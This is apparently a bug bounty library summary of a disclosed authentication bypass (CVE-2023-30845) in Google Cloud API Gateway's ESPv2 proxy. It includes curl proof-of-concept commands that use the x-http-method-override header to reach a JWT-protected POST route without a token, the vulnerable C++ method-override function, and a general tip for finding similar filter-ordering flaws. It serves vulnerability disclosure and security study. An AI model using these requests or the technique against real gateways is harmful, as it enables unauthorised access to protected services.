# Unveiling a Critical Authentication Bypass Vulnerability in Google Cloud API Gateway

ESPv2's Service Control filter honored x-http-method-override after the JWT filter ran, letting unauthenticated PUT requests reach JWT-protected POST routes on Google Cloud API Gateway.

- Payout: $4,134
- Severity: critical
- Program: Google
- Found by: Securing Bits
- Disclosed: 2023-06-21
- CVE: CVE-2023-30845
- Write-up quality: 8/10
- Original: https://securingbits.com/bypassing-google-cloud-api-gateway
- Library page: https://bugbountylibrary.com/r/blog%3Asecuringbits-com-bypassing-google-cloud-api-gateway
- Tags: area:cloud domain:cloud impact:integrity impact:internal-access kind:bounty platform:blog sev:critical tech:gcp tech:jwt technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:business-logic

**Target:** ESPv2 L7 proxy / Google Cloud API Gateway
**Root cause:** The Service Control filter rewrites the HTTP method from the x-http-method-override header and clears the route cache, but the JWT filter already ran earlier in the chain and is not re-applied, so the rewritten method reaches routing without authentication.
**Steps:**
1. Deploy a Cloud Run Flask API exposing only POST /restricted, fronted by API Gateway with an OpenAPI spec requiring google_id_token on that operation.
2. Confirm baseline: `curl -X POST https://<gw>/restricted -H "Content-Type: application/json" -d '{"payload":"compromised"}'` returns `{"message":"Jwt is missing","code":401}`.
3. Confirm PUT is rejected: `curl -X PUT https://<gw>/restricted -H "Content-Type: application/json" -d '{"payload":"compromised"}'` returns 405 method not allowed.
4. Send `curl -X PUT https://<gw>/restricted -H 'x-http-method-override: POST' -H 'Content-Type: application/json' -d '{"payload":"compromised"}'` with no JWT.
5. Observe backend response `{"message":"Accessing restricted method.","method":"POST","payload":"compromised"}` — authentication bypassed.
**How found:** After failing to break out of the ESPv2 container via SSRF/fuzzing, pivoted to bypassing gateway security controls; read ESPv2 source on GitHub, learned Envoy filter ordering, and spotted handleHttpMethodOverride in the Service Control filter clearing the route cache after the JWT filter had already executed.
**Exploitation:** Attacker sends an unauthenticated request using a method the JWT filter does not guard (e.g. PUT) plus `x-http-method-override: POST`. The JWT filter skips it, Service Control rewrites the method to POST and clears the route cache, and the Routing filter dispatches to the protected POST backend without any token.
**Insight:** In Envoy-based proxies, map the filter order and look for any filter that mutates request attributes (method, path, headers) after auth filters run — method-override headers, path rewrites, or route-cache clears after the JWT/auth filter are prime auth-bypass candidates.

## Proof of concept (copied exactly from the original report)

**curl PUT with x-http-method-override bypassing JWT**

```
curl -X PUT https://restrictedgw-boqpfg9i.uc.gateway.dev/restricted -H "x-http-method-override: POST" -H "Content-Type: application/json" -d '{"payload":"compromised"}'


we bypass the authentication restrictions and successfully make a POST request to our API, which sent the following response

{"message":"Accessing restricted method.","method":"POST","payload":"compromised"}
```

**Vulnerable handleHttpMethodOverride implementation**

```
bool handleHttpMethodOverride(Envoy::Http::RequestHeaderMap& headers) {
 const auto entry = headers.get(kHttpMethodOverrideHeader);
 if (entry.empty()) {
 return false;
 }

 // Override can be confusing while debugging, log it.
 absl::string_view method_original = headers.Method()->value().getStringView();
 absl::string_view method_override = entry[0]->value().getStringView();
 ENVOY_LOG_MISC(debug, "Original :method = {}, x-http-method-override = {}",
 method_original, method_override);

 // Move the header.
 headers.setMethod(method_override);
 headers.remove(kHttpMethodOverrideHeader);
 return true;
}
```

**OpenAPI config restricting POST with JWT**

```
swagger: "2.0"
info:
 title: "restrictedAPI"
 description: "A sample API definition that demonstrates how authentication can be bypassed in ESPV2 reverse proxy affecting GCP's API Gateway and cloud endpoints."
 version: "1.0.0"
schemes:
 - "https"
produces:
 - "application/json"
x-google-backend:
 address: "https://restrictedservice-a54a6avqda-uc.a.run.app"
paths:
 "/restricted":
 post:
 summary: "Restricted path"
 operationId: "restricted"
 responses:
 200:
 description: "success"
 security:
 - google_id_token: []
securityDefinitions:
 google_id_token:
 authorizationUrl: ""
 flow: "implicit"
 type: "oauth2"
 x-google-issuer: "https://accounts.google.com"
 x-google-jwks_uri: "https://www.googleapis.com/oauth2/v3/certs"
 #Replace with your client id
 x-google-audiences: "XXXXXXXXXXX.apps.googleusercontent.com"
```

